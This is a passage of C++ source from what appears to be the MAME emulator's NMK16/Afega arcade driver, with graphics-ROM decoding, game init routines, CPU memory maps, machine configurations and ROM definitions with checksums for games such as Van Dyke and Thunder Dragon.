decode_byte(rom[A], decode_data_tdragonbgfx[0]); } rom = memregion("sprites")->base(); len = memregion("sprites")->bytes(); for (int A = 0; A < len; A++) { rom[A] = decode_byte(rom[A], decode_data_tdragonbgfx[0]); } } void nmk16_state::decode_ssmissin() { // Like Thunder Dragon Bootleg without the Program Rom Swapping u8 *rom; int len; // Graphic Roms Could Also Do With Rearranging to make things simpler static const u8 decode_data_ssmissingfx[1][8] = { {0x7,0x6,0x5,0x3,0x4,0x2,0x1,0x0}, }; rom = memregion("bgtile")->base(); len = memregion("bgtile")->bytes(); for (int A = 0; A < len; A++) { rom[A] = decode_byte(rom[A], decode_data_ssmissingfx[0]); } rom = memregion("sprites")->base(); len = memregion("sprites")->bytes(); for (int A = 0; A < len; A++) { rom[A] = decode_byte(rom[A], decode_data_ssmissingfx[0]); } } void nmk16_state::save_protregs() { save_item(NAME(m_input_pressed)); save_item(NAME(m_start_helper)); save_item(NAME(m_coin_count)); save_item(NAME(m_coin_count_frac)); } void nmk16_state::init_nmk() { decode_gfx(); } void nmk16_state::init_banked_audiocpu() { m_audiobank->configure_entries(0, 8, memregion("audiocpu")->base(), 0x4000); } void nmk16_state::init_tharrier() { m_okibank[0]->configure_entries(0, 4, memregion("oki1")->base() + 0x20000, 0x20000); m_okibank[1]->configure_entries(0, 4, memregion("oki2")->base() + 0x20000, 0x20000); save_item(NAME(m_prot_count)); m_prot_count = 0; } void nmk16_state::init_hachamf_prot() { u16 *rom = (u16 *)memregion("maincpu")->base(); //rom[0x0006/2] = 0x7dc2; // replace reset vector with the "real" one // kludge the sound communication to let commands go through. rom[0x048a/2] = 0x4e71; rom[0x04aa/2] = 0x4e71; m_maincpu->space(AS_PROGRAM).install_write_handler(0x0f0000, 0x0fffff, write16s_delegate(*this, FUNC(nmk16_state::hachamf_mainram_w))); save_protregs(); } void nmk16_state::init_tdragonb() { decode_tdragonb(); } void nmk16_state::init_tdragon_prot() { u16 *rom = (u16 *)memregion("maincpu")->base(); //rom[0x94b0/2] = 0; // Patch out JMP to shared memory (protection) //rom[0x94b2/2] = 0x92f4; // kludge the sound communication to let commands go through. rom[0x048a/2] = 0x4e71; rom[0x04aa/2] = 0x4e71; m_maincpu->space(AS_PROGRAM).install_write_handler(0x0b0000, 0x0bffff, write16s_delegate(*this, FUNC(nmk16_state::tdragon_mainram_w))); save_protregs(); } void nmk16_state::init_ssmissin() { decode_ssmissin(); m_okibank[0]->configure_entries(0, 4, memregion("oki1")->base() + 0x80000, 0x20000); } void nmk16_state::init_twinactn() { m_okibank[0]->configure_entries(0, 4, memregion("oki1")->base(), 0x20000); } void nmk16_state::init_bjtwin() { // Patch ROM to enable test mode /* 008F54: 33F9 0008 0000 000F FFFC move.w $80000.l, $ffffc.l * 008F5E: 3639 0008 0002 move.w $80002.l, D3 * 008F64: 3003 move.w D3, D0 \ * 008F66: 3203 move.w D3, D1 | This code remaps * 008F68: 0041 BFBF ori.w #-$4041, D1 | buttons 2 and 3 to * 008F6C: E441 asr.w #2, D1 | button 1, so * 008F6E: 0040 DFDF ori.w #-$2021, D0 | you can't enter * 008F72: E240 asr.w #1, D0 | service mode * 008F74: C640 and.w D0, D3 | * 008F76: C641 and.w D1, D3 / * 008F78: 33C3 000F FFFE move.w D3, $ffffe.l * 008F7E: 207C 000F 9000 movea.l #$f9000, A0 */ #if 0 u16 *rom = (u16 *)memregion("maincpu")->base(); rom[0x09172/2] = 0x6006; // patch checksum error rom[0x08f74/2] = 0x4e71; #endif init_nmk(); } void nmk16_state::init_gunnailb() { decode_gfx(); init_banked_audiocpu(); } // NO NMK004, it has a PIC instead u16 nmk16_state::vandykeb_r(){ return 0x0000; } void nmk16_state::init_vandykeb() { m_okibank[0]->configure_entries(0, 4, memregion("oki1")->base() + 0x20000, 0x20000); m_maincpu->space(AS_PROGRAM).install_read_handler(0x08000e, 0x08000f, read16smo_delegate(*this, FUNC(nmk16_state::vandykeb_r))); m_maincpu->space(AS_PROGRAM).nop_write(0x08001e, 0x08001f); } void nmk16_tomagic_state::init_tomagic() { // rearrange data so that we can use standard decode u8 *rom = memregion("sprites")->base(); int size = memregion("sprites")->bytes(); for (int i = 0; i < size; i++) rom[i] = bitswap<8>(rom[i], 0,1,2,3,4,5,6,7); init_banked_audiocpu(); } /*************************************************************************** Memory Maps - Main CPU ***************************************************************************/ u16 afega_state::afega_unknown_r() { // This fixes the text in Service Mode. return 0x0100; } template<unsigned Scroll> void afega_state::afega_scroll_w(offs_t offset, u16 data, u16 mem_mask) { COMBINE_DATA(&m_afega_scroll[Scroll][offset]); } void afega_state::afega_map(address_map &map) { map.global_mask(0xfffff); map(0x000000, 0x07ffff).rom(); map(0x080000, 0x080001).portr("IN0"); // Buttons map(0x080002, 0x080003).portr("IN1"); // P1 + P2 map(0x080004, 0x080005).portr("DSW1"); // 2 x DSW map(0x080012, 0x080013).r(FUNC(afega_state::afega_unknown_r)); map(0x08001f, 0x08001f).w(m_soundlatch, FUNC(generic_latch_8_device::write)); // To Sound CPU map(0x084000, 0x084003).ram().w(FUNC(afega_state::afega_scroll_w<0>)); // Scroll on redhawkb (mirror or changed?..) map(0x084004, 0x084007).ram().w(FUNC(afega_state::afega_scroll_w<1>)); // Scroll on redhawkb (mirror or changed?..) map(0x088000, 0x0885ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); // Palette map(0x08c000, 0x08c003).ram().w(FUNC(afega_state::afega_scroll_w<0>)).share("afega_scroll_0"); // Scroll map(0x08c004, 0x08c007).ram().w(FUNC(afega_state::afega_scroll_w<1>)).share("afega_scroll_1"); // map(0x090000, 0x093fff).ram().w(FUNC(afega_state::bgvideoram_w<0>)).share("bgvideoram0"); // Layer 0 // ? map(0x09c000, 0x09c7ff).ram().w(FUNC(afega_state::txvideoram_w)).share("txvideoram"); // Layer 1 map(0x0c0000, 0x0cffff).ram().w(FUNC(afega_state::mainram_strange_w)).share("mainram"); map(0x0f0000, 0x0fffff).ram().w(FUNC(afega_state::mainram_strange_w)).share("mainram"); } // firehawk has 0x100000 bytes of program ROM (at least the switchable version) so the above can't work. void afega_state::firehawk_map(address_map &map) { map.global_mask(0x3fffff); map(0x000000, 0x0fffff).rom(); map(0x280000, 0x280001).portr("IN0"); // Buttons map(0x280002, 0x280003).portr("IN1"); // P1 + P2 map(0x280004, 0x280005).portr("DSW1"); // 2 x DSW map(0x280012, 0x280013).r(FUNC(afega_state::afega_unknown_r)); map(0x28001f, 0x28001f).w(m_soundlatch, FUNC(generic_latch_8_device::write)); // To Sound CPU map(0x284000, 0x284003).ram().w(FUNC(afega_state::afega_scroll_w<0>)); // Scroll on redhawkb (mirror or changed?..) map(0x284004, 0x284007).ram().w(FUNC(afega_state::afega_scroll_w<1>)); // Scroll on redhawkb (mirror or changed?..) map(0x288000, 0x2885ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); // Palette map(0x28c000, 0x28c003).ram().w(FUNC(afega_state::afega_scroll_w<0>)).share("afega_scroll_0"); // Scroll map(0x28c004, 0x28c007).ram().w(FUNC(afega_state::afega_scroll_w<1>)).share("afega_scroll_1"); // map(0x290000, 0x293fff).ram().w(FUNC(afega_state::bgvideoram_w<0>)).share("bgvideoram0"); // Layer 0 // ? map(0x29c000, 0x29c7ff).ram().w(FUNC(afega_state::txvideoram_w)).share("txvideoram"); // Layer 1 map(0x3c0000, 0x3cffff).ram().w(FUNC(afega_state::mainram_strange_w)).share("mainram"); map(0x3f0000, 0x3fffff).ram().w(FUNC(afega_state::mainram_strange_w)).share("mainram"); } /*************************************************************************** Memory Maps - Sound CPU ***************************************************************************/ void afega_state::spec2k_oki1_banking_w(u8 data) { if (data == 0xfe) m_oki[1]->set_rom_bank(0); else if (data == 0xff) m_oki[1]->set_rom_bank(1); } void afega_state::afega_sound_cpu(address_map &map) { map(0x0003, 0x0003).nopw(); // bug in sound prg? map(0x0004, 0x0004).nopw(); // bug in sound prg? map(0x0000, 0xefff).rom(); map(0xf000, 0xf7ff).ram(); // RAM map(0xf800, 0xf800).r(m_soundlatch, FUNC(generic_latch_8_device::read)); // From Main CPU map(0xf808, 0xf809).rw("ymsnd", FUNC(ym2151_device::read), FUNC(ym2151_device::write)); // YM2151 map(0xf80a, 0xf80a).rw(m_oki[0], FUNC(okim6295_device::read), FUNC(okim6295_device::write)); // M6295 } void afega_state::firehawk_sound_cpu(address_map &map) { map(0x0000, 0xefff).rom(); map(0xf000, 0xf7ff).ram(); map(0xf800, 0xffff).ram(); // not used, only tested map(0xfff0, 0xfff0).r(m_soundlatch, FUNC(generic_latch_8_device::read)); map(0xfff2, 0xfff2).w(FUNC(afega_state::spec2k_oki1_banking_w)); map(0xfff8, 0xfff8).rw(m_oki[1], FUNC(okim6295_device::read), FUNC(okim6295_device::write)); map(0xfffa, 0xfffa).rw(m_oki[0], FUNC(okim6295_device::read), FUNC(okim6295_device::write)); } /*************************************************************************** Graphics Layouts ***************************************************************************/ static const gfx_layout tilelayout_8bpp = { 16,16, RGN_FRAC(1,2), 8, { STEP4(RGN_FRAC(0,2),1), STEP4(RGN_FRAC(1,2),1) }, { STEP8(0,4), STEP8(4*8*16,4) }, { STEP16(0,4*8) }, 16*16*4 }; static GFXDECODE_START( gfx_grdnstrm ) GFXDECODE_ENTRY( "fgtile", 0, gfx_8x8x4_packed_msb, 0x200, 16 ) // [2] Layer 1 GFXDECODE_ENTRY( "bgtile", 0, tilelayout_8bpp, 0x000, 1 ) // [1] Layer 0 GFXDECODE_ENTRY( "sprites", 0, gfx_8x8x4_col_2x2_group_packed_msb, 0x100, 16 ) // [0] Sprites GFXDECODE_END static GFXDECODE_START( gfx_redhawkb ) GFXDECODE_ENTRY( "fgtile", 0, gfx_8x8x4_packed_msb, 0x200, 16 ) // [2] Layer 1 GFXDECODE_ENTRY( "bgtile", 0, gfx_8x8x4_col_2x2_group_packed_lsb, 0x000, 16 ) // [1] Layer 0 GFXDECODE_ENTRY( "sprites", 0, gfx_8x8x4_col_2x2_group_packed_lsb, 0x100, 16 ) // [0] Sprites GFXDECODE_END /*************************************************************************** Machine Drivers ***************************************************************************/ void afega_state::stagger1(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, XTAL(12'000'000)); // 68000p10 running at 12mhz, verified on PCB m_maincpu->set_addrmap(AS_PROGRAM, &afega_state::afega_map); set_hacky_interrupt_timing(config); Z80(config, m_audiocpu, XTAL(4'000'000)); // verified on PCB m_audiocpu->set_addrmap(AS_PROGRAM, &afega_state::afega_sound_cpu); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(afega_state::get_colour_4bit)); m_spritegen->set_ext_callback(FUNC(afega_state::get_sprite_flip)); m_screen->set_screen_update(FUNC(afega_state::screen_update_afega)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 768); MCFG_VIDEO_START_OVERRIDE(afega_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); GENERIC_LATCH_8(config, m_soundlatch); m_soundlatch->data_pending_callback().set_inputline(m_audiocpu, 0); ym2151_device &ymsnd(YM2151(config, "ymsnd", XTAL(4'000'000))); // verified on PCB ymsnd.irq_handler().set_inputline(m_audiocpu, 0); ymsnd.add_route(ALL_OUTPUTS, "mono", 0.15); OKIM6295(config, m_oki[0], XTAL(4'000'000)/4, okim6295_device::PIN7_HIGH); // verified on PCB m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.70); } void afega_state::redhawki(machine_config &config) { stagger1(config); // basic machine hardware // video hardware m_screen->set_screen_update(FUNC(afega_state::screen_update_redhawki)); } void afega_state::redhawkb(machine_config &config) { stagger1(config); // basic machine hardware // video hardware m_gfxdecode->set_info(gfx_redhawkb); m_screen->set_screen_update(FUNC(afega_state::screen_update_redhawkb)); } void afega_state::grdnstrm(machine_config &config) { stagger1(config); // basic machine hardware // video hardware m_gfxdecode->set_info(gfx_grdnstrm); MCFG_VIDEO_START_OVERRIDE(afega_state,grdnstrm) m_screen->set_screen_update(FUNC(afega_state::screen_update_firehawk)); } void afega_state::grdnstrmk(machine_config &config) // Side by side with PCB, the music seems too fast as well { stagger1(config); // video hardware m_screen->set_refresh_hz(57); // Side by side with PCB, MAME is too fast at 56 m_gfxdecode->set_info(gfx_grdnstrm); MCFG_VIDEO_START_OVERRIDE(afega_state,grdnstrm) } void afega_state::popspops(machine_config &config) { grdnstrm(config); // video hardware m_screen->set_screen_update(FUNC(afega_state::screen_update_bubl2000)); } void afega_state::firehawk(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, 12000000); m_maincpu->set_addrmap(AS_PROGRAM, &afega_state::firehawk_map); set_hacky_interrupt_timing(config); Z80(config, m_audiocpu, 4000000); m_audiocpu->set_addrmap(AS_PROGRAM, &afega_state::firehawk_sound_cpu); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(afega_state::get_colour_4bit)); m_spritegen->set_ext_callback(FUNC(afega_state::get_sprite_flip)); m_screen->set_screen_update(FUNC(afega_state::screen_update_firehawk)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_grdnstrm); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 768); MCFG_VIDEO_START_OVERRIDE(afega_state,grdnstrm) // sound hardware SPEAKER(config, "mono").front_center(); GENERIC_LATCH_8(config, m_soundlatch); m_soundlatch->data_pending_callback().set_inputline(m_audiocpu, 0); OKIM6295(config, m_oki[0], 1000000, okim6295_device::PIN7_HIGH); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 1.0); OKIM6295(config, m_oki[1], 1000000, okim6295_device::PIN7_HIGH); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 1.0); } void afega_state::spec2k(machine_config &config) { firehawk(config); m_maincpu->set_addrmap(AS_PROGRAM, &afega_state::afega_map); } void nmk16_state::twinactn(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, 12000000); m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::twinactn_map); set_hacky_interrupt_timing(config); Z80(config, m_audiocpu, 4000000); m_audiocpu->set_addrmap(AS_PROGRAM, &nmk16_state::ssmissin_sound_map); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); GENERIC_LATCH_8(config, m_soundlatch); m_soundlatch->data_pending_callback().set_inputline(m_audiocpu, 0); OKIM6295(config, m_oki[0], 1000000, okim6295_device::PIN7_HIGH); m_oki[0]->set_addrmap(0, &nmk16_state::oki1_map); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 1.0); } /*************************************************************************** ROMs Loading ***************************************************************************/ // Address lines scrambling static void decryptcode( running_machine &machine, int a23, int a22, int a21, int a20, int a19, int a18, int a17, int a16, int a15, int a14, int a13, int a12, int a11, int a10, int a9, int a8, int a7, int a6, int a5, int a4, int a3, int a2, int a1, int a0 ) { u8 *RAM = machine.root_device().memregion("maincpu")->base(); size_t size = machine.root_device().memregion("maincpu")->bytes(); std::vector<u8> buffer(size); memcpy(&buffer[0], RAM, size); for (int i = 0; i < size; i++) { RAM[i] = buffer[bitswap<24>(i, a23, a22, a21, a20, a19, a18, a17, a16, a15, a14, a13, a12, a11, a10, a9, a8, a7, a6, a5, a4, a3, a2, a1, a0)]; } } ROM_START( vandyke ) ROM_REGION( 0x40000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "vdk-1.16", 0x00000, 0x20000, CRC(c1d01c59) SHA1(04a7fd31ca4d87d078070390660edf08bf1d96b5) ) ROM_LOAD16_BYTE( "vdk-2.15", 0x00001, 0x20000, CRC(9d741cc2) SHA1(2d101044fba5fc5b7d63869a0a053c42fdc2598b) ) ROM_REGION(0x10000, "audiocpu", 0 ) // 64k for sound CPU code ROM_LOAD( "vdk-4.127", 0x00000, 0x10000, CRC(eba544f0) SHA1(36f6d048d15a392542a9220a244d8a7049aaff8b) ) ROM_REGION( 0x010000, "fgtile", 0 ) ROM_LOAD( "vdk-3.222", 0x000000, 0x010000, CRC(5a547c1b) SHA1(2d61f51ce2f91ebf0053ce3a00911d1bcbaba816) ) // 8x8 tiles ROM_REGION( 0x080000, "bgtile", 0 ) ROM_LOAD( "vdk-01.13", 0x000000, 0x080000, CRC(195a24be) SHA1(3a20dd746a87efc5c1fdc5025b709efeff82e05e) ) // 16x16 tiles ROM_REGION( 0x200000, "sprites", 0 ) ROM_LOAD16_BYTE( "vdk-07.202", 0x000000, 0x080000, CRC(42d41f06) SHA1(69fd1d38187b8081f65acea2424bc1a0d455d90c) ) // Sprites ROM_LOAD16_BYTE( "vdk-06.203", 0x000001, 0x080000, CRC(d54722a8) SHA1(47f8e97b29ae0ff1a1d7d50734e4219a87a2ed57) ) // Sprites ROM_LOAD16_BYTE( "vdk-04.2-1", 0x100000, 0x080000, CRC(0a730547) SHA1(afac0549eb86d1fab5ca8ae2a0dad14144f55c02) ) // Sprites ROM_LOAD16_BYTE( "vdk-05.3-1", 0x100001, 0x080000, CRC(ba456d27) SHA1(5485a560ae2c2c8b6fdec314393c02a3de758ef3) ) // Sprites ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "vdk-02.126", 0x000000, 0x080000, CRC(b2103274) SHA1(6bbdc912393607cd5306be946327c5ea0178c7a6) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x080000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "vdk-03.165", 0x000000, 0x080000, CRC(631776d3) SHA1(ffd76e5b03130252c55eaa6ae7edfee5632dae73) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "ic100.bpr", 0x0000, 0x0100, CRC(98ed1c97) SHA1(f125ad05c3cbd1b1ab356161f9b1d814781d4c3b) ) // V-sync hw (unused) ROM_LOAD( "ic101.bpr", 0x0100, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // H-sync hw (unused) ROM_END ROM_START( vandykejal ) ROM_REGION( 0x40000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "vdk-1.16", 0x00000, 0x20000, CRC(c1d01c59) SHA1(04a7fd31ca4d87d078070390660edf08bf1d96b5) ) ROM_LOAD16_BYTE( "jaleco2.15", 0x00001, 0x20000, CRC(170e4d2e) SHA1(6009d19d30e345fea93e039d165061e2b20ff058) ) ROM_REGION(0x10000, "audiocpu", 0 ) // 64k for sound CPU code ROM_LOAD( "vdk-4.127", 0x00000, 0x10000, CRC(eba544f0) SHA1(36f6d048d15a392542a9220a244d8a7049aaff8b) ) ROM_REGION( 0x010000, "fgtile", 0 ) ROM_LOAD( "vdk-3.222", 0x000000, 0x010000, CRC(5a547c1b) SHA1(2d61f51ce2f91ebf0053ce3a00911d1bcbaba816) ) // 8x8 tiles ROM_REGION( 0x080000, "bgtile", 0 ) ROM_LOAD( "vdk-01.13", 0x000000, 0x080000, CRC(195a24be) SHA1(3a20dd746a87efc5c1fdc5025b709efeff82e05e) ) // 16x16 tiles ROM_REGION( 0x200000, "sprites", 0 ) ROM_LOAD16_BYTE( "vdk-07.202", 0x000000, 0x080000, CRC(42d41f06) SHA1(69fd1d38187b8081f65acea2424bc1a0d455d90c) ) // Sprites ROM_LOAD16_BYTE( "vdk-06.203", 0x000001, 0x080000, CRC(d54722a8) SHA1(47f8e97b29ae0ff1a1d7d50734e4219a87a2ed57) ) // Sprites ROM_LOAD16_BYTE( "vdk-04.2-1", 0x100000, 0x080000, CRC(0a730547) SHA1(afac0549eb86d1fab5ca8ae2a0dad14144f55c02) ) // Sprites ROM_LOAD16_BYTE( "vdk-05.3-1", 0x100001, 0x080000, CRC(ba456d27) SHA1(5485a560ae2c2c8b6fdec314393c02a3de758ef3) ) // Sprites ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "vdk-02.126", 0x000000, 0x080000, CRC(b2103274) SHA1(6bbdc912393607cd5306be946327c5ea0178c7a6) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x080000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "vdk-03.165", 0x000000, 0x080000, CRC(631776d3) SHA1(ffd76e5b03130252c55eaa6ae7edfee5632dae73) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "ic100.bpr", 0x0000, 0x0100, CRC(98ed1c97) SHA1(f125ad05c3cbd1b1ab356161f9b1d814781d4c3b) ) // V-sync hw (unused) ROM_LOAD( "ic101.bpr", 0x0100, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // H-sync hw (unused) ROM_END ROM_START( vandykejal2 ) ROM_REGION( 0x40000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "vdk-even.16", 0x00000, 0x20000, CRC(cde05a84) SHA1(dab5981d7dad9abe86cfe011da8ca0b11d484a3f) ) // Hand written labels, dated 2/12 ROM_LOAD16_BYTE( "vdk-odd.15", 0x00001, 0x20000, CRC(0f6fea40) SHA1(3acbe72c251d51b028d8c66274263a2b39b042ea) ) ROM_REGION(0x10000, "audiocpu", 0 ) // 64k for sound CPU code ROM_LOAD( "vdk-4.127", 0x00000, 0x10000, CRC(eba544f0) SHA1(36f6d048d15a392542a9220a244d8a7049aaff8b) ) ROM_REGION( 0x010000, "fgtile", 0 ) ROM_LOAD( "vdk-3.222", 0x000000, 0x010000, CRC(5a547c1b) SHA1(2d61f51ce2f91ebf0053ce3a00911d1bcbaba816) ) // 8x8 tiles ROM_REGION( 0x080000, "bgtile", 0 ) ROM_LOAD( "vdk-01.13", 0x000000, 0x080000, CRC(195a24be) SHA1(3a20dd746a87efc5c1fdc5025b709efeff82e05e) ) // 16x16 tiles ROM_REGION( 0x200000, "sprites", 0 ) ROM_LOAD16_BYTE( "vdk-07.202", 0x000000, 0x080000, CRC(42d41f06) SHA1(69fd1d38187b8081f65acea2424bc1a0d455d90c) ) // Sprites ROM_LOAD16_BYTE( "vdk-06.203", 0x000001, 0x080000, CRC(d54722a8) SHA1(47f8e97b29ae0ff1a1d7d50734e4219a87a2ed57) ) // Sprites ROM_LOAD16_BYTE( "vdk-04.2-1", 0x100000, 0x080000, CRC(0a730547) SHA1(afac0549eb86d1fab5ca8ae2a0dad14144f55c02) ) // Sprites ROM_LOAD16_BYTE( "vdk-05.3-1", 0x100001, 0x080000, CRC(ba456d27) SHA1(5485a560ae2c2c8b6fdec314393c02a3de758ef3) ) // Sprites ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "vdk-02.126", 0x000000, 0x080000, CRC(b2103274) SHA1(6bbdc912393607cd5306be946327c5ea0178c7a6) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x080000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "vdk-03.165", 0x000000, 0x080000, CRC(631776d3) SHA1(ffd76e5b03130252c55eaa6ae7edfee5632dae73) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "ic100.bpr", 0x0000, 0x0100, CRC(98ed1c97) SHA1(f125ad05c3cbd1b1ab356161f9b1d814781d4c3b) ) // V-sync hw (unused) ROM_LOAD( "ic101.bpr", 0x0100, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // H-sync hw (unused) ROM_END ROM_START( vandykeb ) ROM_REGION( 0x40000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "2.bin", 0x00000, 0x20000, CRC(9c269702) SHA1(831ff9d499aa94d85f62b8613477a95f00f62b34) ) ROM_LOAD16_BYTE( "1.bin", 0x00001, 0x20000, CRC(dd6303a1) SHA1(3c225ff1696adc1af05b1b36d8cf1f220181861c) ) ROM_REGION(0x10000, "mcu", 0 ) // PIC is read protected ROM_LOAD( "pic16c57", 0x00000, 0x2d4c, BAD_DUMP CRC(bdb3920d) SHA1(2ef8d2aa3817cebea8e2443bc995cec3a3f88835) ) ROM_REGION( 0x010000, "fgtile", 0 ) ROM_LOAD( "3.bin", 0x000000, 0x010000, CRC(5a547c1b) SHA1(2d61f51ce2f91ebf0053ce3a00911d1bcbaba816) ) // 8x8 tiles ROM_REGION( 0x080000, "bgtile", 0 ) ROM_LOAD( "4.bin", 0x000000, 0x040000, CRC(4ba4138d) SHA1(56f9c9422085eaf74ddec8977663a33c122b7e8b) ) // 16x16 tiles ROM_LOAD( "5.bin", 0x040000, 0x040000, CRC(9a1ac697) SHA1(a8200b10606edf4578c7e2f53a0046bb1209a041) ) // 16x16 tiles ROM_REGION( 0x200000, "sprites", 0 ) ROM_LOAD16_BYTE( "13.bin", 0x000000, 0x040000, CRC(bb561871) SHA1(33dcaf956112181eed531320d3ececb90b17a599) ) // Sprites ROM_LOAD16_BYTE( "17.bin", 0x000001, 0x040000, CRC(346e3b66) SHA1(34df7167ed4048e1f236e7d8fa6dcdffb0965c71) ) // Sprites ROM_LOAD16_BYTE( "12.bin", 0x080000, 0x040000, CRC(cdef9b17) SHA1(ec024a21685b87c82dc574cd050118d856a3cf57) ) // Sprites ROM_LOAD16_BYTE( "16.bin", 0x080001, 0x040000, CRC(beda678c) SHA1(3dfb8763241a97b9d65113c6eb99b52ec5245cd6) ) // Sprites ROM_LOAD16_BYTE( "11.bin", 0x100000, 0x020000, CRC(823185d9) SHA1(eaf0f3ab0921d894eb1d09d5b2e9d5b785928804) ) // Sprites ROM_LOAD16_BYTE( "15.bin", 0x100001, 0x020000, CRC(149f3247) SHA1(5f515cb10468da048c89b543807280bd3e39e45a) ) // Sprites ROM_LOAD16_BYTE( "10.bin", 0x140000, 0x020000, CRC(388b1abc) SHA1(9d1c43070130672a5e1a41807d796c944b0676ae) ) // Sprites ROM_LOAD16_BYTE( "14.bin", 0x140001, 0x020000, CRC(32eeba37) SHA1(0d0218e864ed647bd33bbe379f0ef76ccefbd06c) ) // Sprites ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "9.bin", 0x000000, 0x020000, CRC(56bf774f) SHA1(5ece618fff22483adb5dff062dd4ec212aab0f01) ) ROM_LOAD( "8.bin", 0x020000, 0x020000, CRC(89851fcf) SHA1(7b6284cb929059371dd2b5410cd18373834ba76b) ) ROM_LOAD( "7.bin", 0x040000, 0x020000, CRC(d7bf0f6a) SHA1(413713576692676a831949e0d4dc5574da338380) ) ROM_LOAD( "6.bin", 0x060000, 0x020000, CRC(a7fcf709) SHA1(dc6298b43a472e92e99b8286bd4d26f7e72fd278) ) ROM_END ROM_START( tharrier ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "2.18b", 0x00000, 0x20000, CRC(f3887a44) SHA1(4e5b660d33ba1d1e00263030efa67e2db376a234) ) ROM_LOAD16_BYTE( "3.21b", 0x00001, 0x20000, CRC(65c247f6) SHA1(9f35f2b6f54814b4c4d23e2d78db8043e678fef2) ) ROM_REGION( 0x010000, "audiocpu", 0 ) ROM_LOAD( "12.4l", 0x00000, 0x10000, CRC(b959f837) SHA1(073b14935e7d5b0cad19a3471fd26e9e3a363827) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "1.13b", 0x000000, 0x10000, CRC(005c26c3) SHA1(ee88d8f956b9b0a8ba5fb49c5c05f6ed6f01729c) ) ROM_REGION( 0x080000, "bgtile", 0 ) ROM_LOAD( "89050-4.16f", 0x000000, 0x80000, CRC(64d7d687) SHA1(dcfeac71fd577439e31cc1186b720388fbdc6ca0) ) ROM_REGION( 0x100000, "sprites", 0 ) // These two ROMs are located on the 89053-OBJ daughter-board ROM_LOAD16_BYTE( "89050-13.16d", 0x000000, 0x80000, CRC(24db3fa4) SHA1(e0d76c479dfcacf03c04ec4760caecf3fd1e2ff7) ) // Sprites ROM_LOAD16_BYTE( "89050-17.16e", 0x000001, 0x80000, CRC(7f715421) SHA1(bde5e0e1e22519e51ca0fd806909e90cc5b1c5b8) ) ROM_REGION(0x80000, "oki1", 0 ) // Oki sample data ROM_LOAD( "89050-8.4j", 0x00000, 0x80000, CRC(11ee4c39) SHA1(163295c385cff963a5bf87dc3e7bef6019e10ba8) ) // 0x20000 - 0x80000 banked ROM_REGION(0x80000, "oki2", 0 ) // Oki sample data ROM_LOAD( "89050-10.14j", 0x00000, 0x80000, CRC(893552ab) SHA1(b0a34291f4e482858ed295203ae031b17c2dbabc) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x140, "proms", 0 ) ROM_LOAD( "21.bpr", 0x00000, 0x100, CRC(fcd5efea) SHA1(cbda6b14127dabd1788cc256743cf62efaa5e8c4) ) ROM_LOAD( "22.bpr", 0x00000, 0x100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) ROM_LOAD( "23.bpr", 0x00000, 0x020, CRC(fc3569f4) SHA1(e1c498085e4ae9d0a995c94530544b0a5b760fbf) ) ROM_LOAD( "24.bpr", 0x00000, 0x100, CRC(e0a009fe) SHA1(a66a27bb405d4ff8e4c0062273ee9b11e76ee520) ) ROM_LOAD( "25.bpr", 0x00000, 0x100, CRC(e0a009fe) SHA1(a66a27bb405d4ff8e4c0062273ee9b11e76ee520) ) // same as 24.bin ROM_LOAD( "26.bpr", 0x00120, 0x020, CRC(0cbfb33e) SHA1(5dfee031a0a14bcd667fe2af2fa9cdfac3941d22) ) ROM_END 